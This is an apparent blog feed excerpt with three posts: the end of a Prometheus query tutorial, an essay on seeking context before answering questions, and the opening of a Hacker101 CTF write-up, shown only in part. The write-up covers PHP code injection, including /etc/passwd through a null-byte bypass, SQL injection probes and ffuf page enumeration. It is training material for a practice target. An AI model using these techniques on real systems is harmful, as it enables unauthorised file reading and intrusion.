&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;products_sold_total[1m]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The value &lt;code class=&quot;language-text&quot;&gt;[1m]&lt;/code&gt; means that we want all events happening in the range &lt;code class=&quot;language-text&quot;&gt;timestamp + 1m&lt;/code&gt;. Let’s see what this would return:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Name&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Counter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“a”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;[1000@1677381615,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;1002@1677381630,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;1003@1677381645,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;1007@1677381700]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“b”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;[834@1677381615,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;837@1677381630,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;840@1677381645,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;845@1677381700]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Where the counter is represented as &lt;code class=&quot;language-text&quot;&gt;[&amp;lt;value_1&gt;@&amp;lt;timestamp_1&gt;, ..., &amp;lt;value_n&gt;@&amp;lt;timestamp_n&gt;]&lt;/code&gt;. In other words, it is now a vector containing a &lt;em&gt;range&lt;/em&gt; of events.&lt;/p&gt;
&lt;h4&gt;Query returning a vector of range vectors&lt;/h4&gt;
&lt;p&gt;You can think of this combination as running a query that returns a range vector multiple times in distinct timestamps.&lt;/p&gt;
&lt;p&gt;We &lt;strong&gt;cannot graph this result&lt;/strong&gt; since Prometheus cannot use multiple values for a single timestamp. Remember that every range vector is still nested under a timestamp.&lt;/p&gt;
&lt;p&gt;If you are a visual person, suppose our range is &lt;code class=&quot;language-text&quot;&gt;[3s]&lt;/code&gt; and we are starting on &lt;code class=&quot;language-text&quot;&gt;T1&lt;/code&gt; (timestamp at second 1), this is how I visualize the data:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;[
  T1-3: [event_1, event_2, ..., event_n], # Where T1-3 represents the timestamp from second 1 to 3
  T2-4: [event_1, event_2, ..., event_n], # Where T2-4 represents the timestamp from second 2 to 4
  T3-5: [event_1, event_2, ..., event_n], # ...
  T4-6: [event_1, event_2, ..., event_n]  # ...
]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So we have a vector of range vector elements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What can we do in this case to graph results?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We would need to use a function like &lt;code class=&quot;language-text&quot;&gt;rate&lt;/code&gt; to aggregate this range of events into an average. This would result in a single timestamp containing a single value symbolizing the growth rate of our counter under that particular time frame. In summary, we transformed our result into multiple &lt;strong&gt;instant vectors&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which range should I use?&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We are mostly interested in using &lt;code class=&quot;language-text&quot;&gt;$__rate_interval&lt;/code&gt; when dealing with the &lt;code class=&quot;language-text&quot;&gt;rate()&lt;/code&gt; function.&lt;/li&gt;
&lt;li&gt;We are mostly interested in using &lt;code class=&quot;language-text&quot;&gt;$__range&lt;/code&gt; when displaying a simple counter (no graphs).
&lt;ul&gt;
&lt;li&gt;It will provide a single range vector containing all the events for the time window we are inspecting.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What about &lt;code class=&quot;language-text&quot;&gt;$__interval&lt;/code&gt;? I’m mostly ignoring it for now since &lt;code class=&quot;language-text&quot;&gt;$__rate_interval&lt;/code&gt; seems to cover everything &lt;code class=&quot;language-text&quot;&gt;$__interval&lt;/code&gt; does and also addresses some downsides of using it.&lt;/p&gt;
&lt;p&gt;I highly recommend &lt;a href=&quot;https://grafana.com/blog/2020/09/28/new-in-grafana-7.2-__rate_interval-for-prometheus-rate-queries-that-just-work/&quot;&gt;this blog post&lt;/a&gt; for this particular topic.&lt;/p&gt;
&lt;h2&gt;Mental model for queries&lt;/h2&gt;
&lt;p&gt;The way I’m currently thinking about queries is by using the following mental model:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[]&lt;/code&gt; (&lt;code class=&quot;language-text&quot;&gt;[1m]&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;[10m]&lt;/code&gt;, ..) affects the API call that will return the data&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;{}&lt;/code&gt; (&lt;code class=&quot;language-text&quot;&gt;products_sold_total{instance=&quot;a&quot;}&lt;/code&gt;) filters the data returned by our API call&lt;/li&gt;
&lt;li&gt;Functions like &lt;code class=&quot;language-text&quot;&gt;rate()&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;sum()&lt;/code&gt; modifies the data returned by our API call&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Knowing that, these are the troubleshooting steps I follow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Is my query returning the expected data?
&lt;ul&gt;
&lt;li&gt;If not, then I need to play with the &lt;code class=&quot;language-text&quot;&gt;[]&lt;/code&gt; and the time window I’m inspecting&lt;/li&gt;
&lt;li&gt;If yes, go to the next step&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The data is correct, but my graph is not showing the expected result
&lt;ul&gt;
&lt;li&gt;Play with the &lt;code class=&quot;language-text&quot;&gt;{}&lt;/code&gt; to make sure I’m filtering the data correctly&lt;/li&gt;
&lt;li&gt;Investigate the functions I’m using to make sure they are returning the expected result&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Scrape interval, Interval, Steps&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=09bR9kJczKM&quot;&gt;This video&lt;/a&gt; is a &lt;strong&gt;great&lt;/strong&gt; intro into the subject and also does an amazing job at explaining rates, queries and pretty much every subject that this post mentioned so far.&lt;/p&gt;
&lt;h2&gt;Sum of rate&lt;/h2&gt;
&lt;p&gt;And by this I’m talking about a query like the following:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;sum(rate(products_sold[1m]))&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Suppose our web application has three different instances, each with a distinct &lt;code class=&quot;language-text&quot;&gt;rate&lt;/code&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Name&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“a”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;30.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“b”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;11.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“c”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;20.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;sum()&lt;/code&gt; will merge these into a single rate and produce the total: &lt;code class=&quot;language-text&quot;&gt;30.2 + 11.7 + 20.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If our metric had multiple dimensions (labels) we could tell &lt;code class=&quot;language-text&quot;&gt;sum()&lt;/code&gt; to operate in a subset of these dimensions. Let’s say we have multiple &lt;code class=&quot;language-text&quot;&gt;flows&lt;/code&gt; to sell a product and these were represented in our metrics with the label &lt;code class=&quot;language-text&quot;&gt;flow&lt;/code&gt;. We could do:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;sum by (flow) (rate(products_sold[1m]))&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And this would &lt;code class=&quot;language-text&quot;&gt;sum()&lt;/code&gt; the rate value of distinct flows while aggregating every other dimension (label).&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/operators/#aggregation-operators&quot;&gt;aggregation operators&lt;/a&gt; section helped me with the syntax and examples.&lt;/p&gt;
&lt;h2&gt;Metric types&lt;/h2&gt;
&lt;p&gt;One of the first things I should have done is investigate the characteristics of each &lt;a href=&quot;https://prometheus.io/docs/concepts/metric_types/&quot;&gt;metric type&lt;/a&gt; in depth. There are not too many, but each one has their own characteristics and constraints. Let’s see some problems that I’ve faced due to my lack of understanding of some of these metric types.&lt;/p&gt;
&lt;h3&gt;Counter&lt;/h3&gt;
&lt;p&gt;It can produce decimal numbers for slow counters (not too many events) under a time range since Prometheus extrapolates these events to smooth things out and produce the correct result in aggregate. See &lt;a href=&quot;https://github.com/prometheus/prometheus/issues/3746&quot;&gt;this issue&lt;/a&gt; for more context.&lt;/p&gt;
&lt;h4&gt;Gauge&lt;/h4&gt;
&lt;p&gt;We can use a gauge metric type to count things, but since it can go up or down we cannot use functions like &lt;code class=&quot;language-text&quot;&gt;rate()&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;increase()&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Histogram&lt;/h4&gt;
&lt;p&gt;Before anything, please make sure your buckets are configured according to the values your application expects. For example, if your application makes HTTP requests to an API and they usually take &lt;code class=&quot;language-text&quot;&gt;200ms&lt;/code&gt;, having buckets that starts at &lt;code class=&quot;language-text&quot;&gt;300ms&lt;/code&gt; will make your metrics mostly useless since 99% of your requests will be part of the first bucket, making it impossible to measure the true &lt;code class=&quot;language-text&quot;&gt;pX&lt;/code&gt; (p50, p95, p99. ..) values.&lt;/p&gt;
&lt;p&gt;Histogram’s in Prometheus are &lt;strong&gt;cumulative&lt;/strong&gt;. Suppose we had a histogram like the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Bucket&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;100ms&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;200ms&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;300ms&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In Prometheus this is represented as:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Bucket&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;100ms&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;200ms&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;300ms&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;23&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code class=&quot;language-text&quot;&gt;200ms&lt;/code&gt; bucket will hold values from its own bucket + the &lt;code class=&quot;language-text&quot;&gt;100ms&lt;/code&gt; bucket, while the &lt;code class=&quot;language-text&quot;&gt;300ms&lt;/code&gt; bucket will hold values from its own bucket + every other bucket lower than it. This can be rally confusing at first when we are just starting to build our dashboards.&lt;/p&gt;
&lt;h2&gt;Anything else?&lt;/h2&gt;
&lt;p&gt;It’s still early days in my Prometheus journey, if I’m misinterpreting things or missing crucial information please reach out to me and I will gladly adjust this post. I would also appreciate if you share resources that helped you along your journey, there’s also something new to be learned!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Seeking context for better outcomes]]></title><description><![CDATA[How seeking context can produce better outcomes on decision making.]]></description><link>https://bernardoamc.com/seeking-context-for-better-outcomes/</link><guid isPermaLink="false">https://bernardoamc.com/seeking-context-for-better-outcomes/</guid><pubDate>Sun, 30 Oct 2022 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;At face value the statement provided in our title seems quite obvious, right? If we know more about something we are bound to make better decisions. Can’t we just agree on it and go our separate ways? Unfortunately not. It is common enough to stumble upon decision making events in which people don’t have the necessary context that I feel it’s warranted to expand on the topic.&lt;/p&gt;
&lt;p&gt;Let’s start with a hypothetical scenario and we will see how the same question can provide different answers depending on the context. Let’s use &lt;code class=&quot;language-text&quot;&gt;Q&lt;/code&gt; for questions and &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt; for answers. Let’s also define &lt;code class=&quot;language-text&quot;&gt;questioner&lt;/code&gt; as someone who asks a question and &lt;code class=&quot;language-text&quot;&gt;answerer&lt;/code&gt; as the one answering it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; “Hello! I’m trying to understand the security risk in allowing fetch requests with credentials: ‘include’ in a Web Worker.”&lt;br/&gt;
&lt;strong&gt;A:&lt;/strong&gt; “Since it’s up to the server to decide if it should accept cross origin requests with credentials or not, there’s no extra security risks associated with it.”&lt;/p&gt;
&lt;p&gt;There’s nothing inherently wrong with this conversation, but the &lt;em&gt;answerer&lt;/em&gt; didn’t learn anything about the context in which the question was coming from. Let’s dig deeper:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; “Hello! I’m trying to understand the security risk in allowing fetch requests with credentials: ‘include’ in a Web Worker.”&lt;br/&gt;
&lt;strong&gt;A:&lt;/strong&gt; “What did you have in mind as a security risk? Could you share a bit more about the context where these fetch requests are coming from?”&lt;br/&gt;
&lt;strong&gt;Q:&lt;/strong&gt; “I’m not sure if allowing credentials: ‘include’ could leak information to a third party. We have third party code running in the Web Worker.”&lt;br/&gt;
&lt;strong&gt;A:&lt;/strong&gt; “Thanks for the extra context! Are you using &lt;code class=&quot;language-text&quot;&gt;importScripts&lt;/code&gt; to import and run third party code?”&lt;br/&gt;
&lt;strong&gt;Q:&lt;/strong&gt; “Exactly!”&lt;/p&gt;
&lt;p&gt;This is a much better outcome! We would never have known that third party code was being executed and that’s what prompted the &lt;code class=&quot;language-text&quot;&gt;questioner&lt;/code&gt; to reach out in the first place. Now a few things should be considered:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Do we have logged in users?&lt;/li&gt;
&lt;li&gt;What is preventing third party code from triggering &lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; requests on behalf of such a user?&lt;/li&gt;
&lt;li&gt;Are cookies &lt;code class=&quot;language-text&quot;&gt;HttpOnly&lt;/code&gt;? If not, these can also be leaked to the third party involved.&lt;/li&gt;
&lt;li&gt;Is it a Web Worker or can it be a Service Worker?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This example is based on a real conversation where we had to restrict &lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; requests, make sure cookies were &lt;code class=&quot;language-text&quot;&gt;HttpOnly&lt;/code&gt; and that there were no &lt;code class=&quot;language-text&quot;&gt;SameSite&lt;/code&gt; cookies from different subdomains being exposed. We would never have learned about this use case if we didn’t take our time to understand where the question was coming from.&lt;/p&gt;
&lt;h2&gt;Seeking context&lt;/h2&gt;
&lt;p&gt;Questions like these pop up every day and are not exclusive to Application Security. How many times has someone came to you with a question like:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; “Hi! I’m trying to do X but it’s not working. Can you help me?”&lt;/p&gt;
&lt;p&gt;I’m betting that at least once you just took the question at face value and said:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; “Just do ABC.”&lt;/p&gt;
&lt;p&gt;And this is completely fine when both of you share the &lt;em&gt;same&lt;/em&gt; context. That is, it’s fine &lt;em&gt;most of the time&lt;/em&gt;. How do you know whether &lt;code class=&quot;language-text&quot;&gt;X&lt;/code&gt; is even the right thing to do if you don’t know the &lt;code class=&quot;language-text&quot;&gt;questioner&lt;/code&gt;’s goal?&lt;/p&gt;
&lt;p&gt;Which brings us to a few things to keep in mind when answering a question:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Do you know the underlying context behind the question?
&lt;ul&gt;
&lt;li&gt;This might imply knowledge of the codebase or feature&lt;/li&gt;
&lt;li&gt;It might also imply historical knowledge of past projects or explorations&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Do you know what is trying to be achieved?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the answer for any of those is “no” or “maybe” follow up with probing questions and you might be surprised about the outcome. Here are a few questions that might help you start the conversation in no particular order of importance:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Could you explain a bit more about what you are trying to do?
&lt;ul&gt;
&lt;li&gt;Do we have any constraints?&lt;/li&gt;
&lt;li&gt;What have you tried before?&lt;/li&gt;
&lt;li&gt;Where did this ask/need come from?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Is there anything I can read about the topic?
&lt;ul&gt;
&lt;li&gt;Documentation / RFC / Project Proposal&lt;/li&gt;
&lt;li&gt;Pull request / code snippet&lt;/li&gt;
&lt;li&gt;Videos / Blog posts&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Just to make sure we are on the same page, do you mean X with this?
&lt;ul&gt;
&lt;li&gt;Sometimes agreeing on what the right question is is half of the battle&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From my point of view seeking context is usually more important than not because &lt;code class=&quot;language-text&quot;&gt;questioners&lt;/code&gt; assume that the &lt;code class=&quot;language-text&quot;&gt;answerer&lt;/code&gt; has the same context as them. “If I know this, other people should also know it” is the usual thought process and is especially common in questions from more junior team members towards senior teammates.&lt;/p&gt;
&lt;p&gt;Note that I’m not claiming that people should be more verbose on a daily basis. Sharing context is about sharing the &lt;em&gt;key information&lt;/em&gt; required for someone to make informed decisions. There’s no need to recount the entire project history (most of the time) for someone to be able to talk about a particular feature or piece of code.&lt;/p&gt;
&lt;p&gt;We can argue that there’s no way we can learn the necessary context behind every question thrown our way on a daily basis and that is likely true, but there’s an interesting phenomenon that happens when you start asking a follow up question or two before answering. Suddenly the amount of exchanges per question &lt;em&gt;decreases&lt;/em&gt; rather than increasing since both &lt;em&gt;questioner&lt;/em&gt; and &lt;em&gt;answerer&lt;/em&gt; tend to be on the same page. This also gives the &lt;em&gt;answerer&lt;/em&gt; the opportunity to forward the question to someone that already has the necessary context, which is equivalent to &lt;em&gt;triaging&lt;/em&gt; questions.&lt;/p&gt;
&lt;p&gt;So next time you are faced with a question, be curious. I guarantee that when you start seeking context you will frequently learn new things and provide better support in your day to day. It will even increase the amount of trust people have in you. Seek first to understand, then to be understood. See you in our next blog post!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Cody's First Blog writeup]]></title><description><![CDATA[Writeup for the Hacker101 CTF challenge Cody's First Blog]]></description><link>https://bernardoamc.com/hacker101-ctf/codys_first_blog/</link><guid isPermaLink="false">https://bernardoamc.com/hacker101-ctf/codys_first_blog/</guid><pubDate>Mon, 24 Oct 2022 09:30:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the next challenge from &lt;a href=&quot;https://ctf.hacker101.com/&quot;&gt;Hacker101 CTF&lt;/a&gt; after &lt;code class=&quot;language-text&quot;&gt;Photo Gallery&lt;/code&gt;. This is a web challenge rated as moderate.&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This seems to be a small service that allows someone to add a comment that will later be reviewed by someone. This is further validated by the message that we receive after posting a comment:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;md&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Comment submitted and awaiting approval!&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The main page also has an interesting snippet:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;md&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;First post! I built this blog engine around one basic concept:
PHP doesn&amp;#39;t need a template language because it is a template language.
This server can&amp;#39;t talk to the outside world and nobody but me can upload files,
so there&amp;#39;s no risk in just using include().&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So we know this server is running PHP and inspecting network requests confirms our theory, we are running:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;md&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Server: openresty/1.21.4.1
x-powered-by: PHP/5.5.9-1ubuntu4.24&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Before trying to exploit anything it’s always worth doing some more recon, in this case reading the source code of the page gives us another good hint:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;html&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;!--&amp;lt;a href=&amp;quot;?page=admin.auth.inc&amp;quot;&amp;gt;Admin login&amp;lt;/a&amp;gt;--&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Going to &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;subdomain&gt;.ctf.hacker101.com/?page=admin.auth.inc&lt;/code&gt; displays a simple login page.&lt;/p&gt;
&lt;p&gt;At this point I have a few thoughts on my mind:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Can we inject PHP on the comment form?&lt;/li&gt;
&lt;li&gt;Can we exploit this &lt;code class=&quot;language-text&quot;&gt;page&lt;/code&gt; parameter in the URL to access other pages? The hint about &lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt; seems relevant here.&lt;/li&gt;
&lt;li&gt;Can we obtain the cookies from an admin through XSS that is injected in a comment that will be later reviewed?&lt;/li&gt;
&lt;li&gt;Can we use SQL injection to bypass the login or dump the database?&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;First flag&lt;/h2&gt;
&lt;p&gt;Let’s create a post with the following contents to see if we can inject PHP:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;?php echo &amp;quot;test&amp;quot; ?&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And submitting it yields our first flag!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;^FLAG^&amp;lt;flag&amp;gt;$FLAG$

Comment submitted and awaiting approval!

Go back&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We can’t see the contents of the comment because it’s still awaiting approval, so maybe we will need to login as admin at some point. Before we do that though let’s try to abuse the &lt;code class=&quot;language-text&quot;&gt;page&lt;/code&gt; parameter in the URL.&lt;/p&gt;
&lt;h2&gt;Playing with the page parameter&lt;/h2&gt;
&lt;p&gt;Let’s give the &lt;code class=&quot;language-text&quot;&gt;page&lt;/code&gt; a file name that we know exists like &lt;code class=&quot;language-text&quot;&gt;page=/etc/passwd&lt;/code&gt;. Doing so yields the following error message:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Warning: include(/etc/passwd.php): failed to open stream: No such file or directory in /app/index.php on line 21
  
Warning: include(): Failed opening &amp;#39;/etc/passwd.php&amp;#39; for inclusion (include_path=&amp;#39;.:/usr/share/php:/usr/share/pear&amp;#39;) in /app/index.php on line 21&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This is a lot of good information since we now know where the application lives in the filesystem and also the file that loads the main page. We also know that whatever we give to the page parameter will try to be loaded as a file. Finally, we see that the &lt;code class=&quot;language-text&quot;&gt;.php&lt;/code&gt; extension is being added to the parameter we provided. Can we somehow bypass this with a &lt;strong&gt;NULL byte terminator&lt;/strong&gt; (%00)?&lt;/p&gt;
&lt;p&gt;When we try to access &lt;code class=&quot;language-text&quot;&gt;/etc/passwd%00&lt;/code&gt; we don’t receive the warning that the file doesn’t exist, but we receive:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Notice: Undefined variable: title in /app/index.php on line 30

Warning: include(): Failed opening &amp;#39;/etc/passwd&amp;#39; for inclusion (include_path=&amp;#39;.:/usr/share/php:/usr/share/pear&amp;#39;) in /app/index.php on line 21&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So our theory was correct, we can bypass the &lt;code class=&quot;language-text&quot;&gt;.php&lt;/code&gt; extension by using a &lt;strong&gt;NULL byte terminator&lt;/strong&gt; (%00). At this point we might be able to enumerate valid files using something like &lt;code class=&quot;language-text&quot;&gt;ffuf&lt;/code&gt;, but let’s explore our login page beforehand.&lt;/p&gt;
&lt;h2&gt;Admin access and second flag&lt;/h2&gt;
&lt;p&gt;Our first check is to see if our login is vulnerable to SQL Injection, but trying variations of &lt;code class=&quot;language-text&quot;&gt;a&apos; OR 1=1; --&lt;/code&gt; in our &lt;code class=&quot;language-text&quot;&gt;Username&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;Password&lt;/code&gt; doesn’t leak anything. Independently of what we send we always receive the same message:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Incorrect username or password&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;At this point I’m convinced that we should enumerate pages using &lt;code class=&quot;language-text&quot;&gt;ffuf&lt;/code&gt; and see if we can find anything interesting:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/?page=FUZZ -e &amp;quot;.php,.inc&amp;quot; -fr &amp;quot;Undefined&amp;quot;

home.inc     [Status: 200, Size: 949, Words: 109, Lines: 27]
index        [Status: 200, Size: 158, Words: 22, Lines: 3]
admin.inc    [Status: 200, Size: 805, Words: 33, Lines: 31]
...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;A few things to note here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We are searching for &lt;code class=&quot;language-text&quot;&gt;.php&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;.inc&lt;/code&gt; file extensions with the &lt;code class=&quot;language-text&quot;&gt;-e&lt;/code&gt; flag.&lt;/li&gt;
&lt;li&gt;We know that when a file doesn’t exist we receive a response with &lt;code class=&quot;language-text&quot;&gt;Notice: Undefined variable: title in /app/index.php on line 30&lt;/code&gt;, so we are filtering out those results with the &lt;code class=&quot;language-text&quot;&gt;-fr&lt;/code&gt; flag.&lt;/li&gt;
&lt;li&gt;What is this &lt;strong&gt;admin.inc&lt;/strong&gt; file?!&lt;/li&gt;
&lt;/ol&gt;
